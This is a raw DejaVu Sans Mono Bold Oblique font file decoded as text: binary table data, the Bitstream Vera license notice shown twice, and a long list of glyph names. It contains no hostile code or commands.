�<t�0��X����4\��� t�X��$d�<�� `��X��T�� l�T��,h�� \��@��P�  P � �!H!�!�"<"�"�#(#x#�$$L$�$�%D%�&&l'8'�'�(<(�)$)�**h*�*�*�+T+�+�+�+�+�,,h--d-�.�.�.�.�//H/�/�00�1P1t1�1�1�1�242d2�2�343�3�4d4�5\5�6�7�8 8�9�:8:�;@;�;�;�<<,<p<�==�=�>>P>�>�?�@X@�AdA�A�B4B�B�C0CpC�D4D�D�EE�E�F\F�GlHHTH�II�I�JJlJ�KLK�L<L�L�M8M�NNlN�O@O�P(P�P�QDQ�Q�RpR�SS<TT�U�V<V�W�X�Y�Z4Z�Z�[[P[x[�[�[�\\L\�\�]]`]�]�^^<^�^�__�_�`P`�`�aaha�bLb�c,c�c�d(d�ee�f4fpf�f�f�gg4ghg�g�g�hh<hdh�h�h�h�iPi`i�i�j<k kDkhk�k�k�l lxl�mmprr|r�r�ssHs�s�tt�uu4ulu�u�vv\v�v�w4w�w�x`x�x�y yty�z0z�z�{{L{�||\|�|�|�}},}D}�}�}�~$~d~�~�~�~�L�������\����l��t����h�����t�����,�\�����p�4�D������8�t������ �X�|��������$�\������@�������8�d�����������0�h������T������0�T�x��������(�L�p����������@�h��������D�l��������<�l��������@�h��������4�`��������4�\�������(�\�������4�l������@�t�������$�P�x�������,�X��������D�p������4�x������P�������$�d�����L�|������,�H������������0�L�h���������0�L�h������������,�H�d���������������������0�T�l���������� �L������l���(���P�l���������(�H�x�������� �L�h��������� �<�d����������4�T�����X�������p�����P����d������h���,��������4�|��������(������<�d������@¤��� �`à�Ĉ��xŠ������8�dƀƨǘ���ʄ��0���p���x���<��Ј���\��D��Ө��,�LՌ���L֬��L�����Tش��@�|ٸ����$�@�pڤ���4�|۰����Hܜ�����8�`݈ݰ����4�`ޔ����� �H�pߠ����0���`��� �\����� ���t���T��8�P�t�����d������<�h������<�d������8�h����<�p���h�x��������0����p�������������p����\�����h������P������D�p��8�T�p�������L������
�+k@��_�Bm�H��
	�^4 \	�	  	S	:z	:�	.	4U	"�	:�	
&6	h�Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu Sans MonoDejaVu Sans MonoBold ObliqueBold ObliqueDejaVu Sans Mono Bold ObliqueDejaVu Sans Mono Bold ObliqueDejaVu Sans Mono Bold ObliqueDejaVu Sans Mono Bold ObliqueVersion 2.37Version 2.37DejaVuSansMono-BoldObliqueDejaVuSansMono-BoldObliqueDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/License���~Z
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-.�/0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������������������������������������������������������	

 �!"#$%&'()*+,-./0123456789:;<=>?@A�BCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������������������������������������������������	

��� !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	��	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y��
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F4uni01F5uni01F6uni01F8uni01F9AEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0221uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0243uni0244uni0245uni024Cuni024Duni0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C8uni02C9uni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02EEuni02F3	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni0358uni0361uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0472uni0473uni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni04A2uni04A3uni04A4uni04A5uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D02uni1D08uni1D09uni1D14uni1D16uni1D17uni1D1Duni1D1Euni1D1Funi1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D62uni1D63uni1D64uni1D65uni1D77uni1D78uni1D7Buni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Buni1E9Funi1EA0uni1EA1uni1EACuni1EADuni1EB0uni1EB1uni1EB6uni1EB7uni1EB8uni1EB9uni1EBCuni1EBDuni1EC6uni1EC7uni1ECAuni1ECBuni1ECCuni1ECDuni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE8uni1EE9uni1EEAuni1EEBuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF8uni1EF9uni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023uni202Funi2031minuteseconduni2034uni2035uni2036uni2037	exclamdbluni203Duni203Euni203Funi2045uni2046uni2047uni2048uni2049uni204Buni205Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2102uni2105uni210Duni210Euni210Funi2115uni2116uni2117uni2119uni211Auni211Duni2124uni2126uni212Auni212B	estimateduni2148uni2150uni2151onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223
logicaland	logicalorintersectionunionuni222Cuni222D	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22B2uni22B3uni22B4uni22B5uni22B8uni22C2uni22C3uni22C4dotmathuni22C6uni22CDuni22CEuni22CFuni22D0uni22D1uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2312uni2313uni2314uni2315uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2325uni2326uni2327uni2328uni232Buni2335uni2336uni2337uni2338uni2339uni233Auni233Buni233Cuni233Duni233Euni233Funi2340uni2341uni2342uni2343uni2344uni2345uni2346uni2347uni2348uni2349uni234Auni234Buni234Cuni234Duni234Euni234Funi2350uni2351uni2352uni2353uni2354uni2355uni2356uni2357uni2358uni2359uni235Auni235Buni235Cuni235Duni235Euni235Funi2360uni2361uni2362uni2363uni2364uni2365uni2366uni2367uni2368uni2369uni236Auni236Buni236Cuni236Duni236Euni236Funi2370uni2371uni2372uni2373uni2374uni2375uni2376uni2377uni2378uni2379uni237Auni237Duni2380uni2381uni2382uni2383uni2388uni2389uni238Auni238Buni2395uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537